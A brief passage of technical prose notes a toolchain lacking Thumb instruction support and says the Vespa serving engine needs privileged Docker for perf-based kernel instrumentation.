doesn’t support thumb instructions and toolchains, and the
open big data serving engine Vespa also needs privileged
docker for perf to instrument kernel surveillance.
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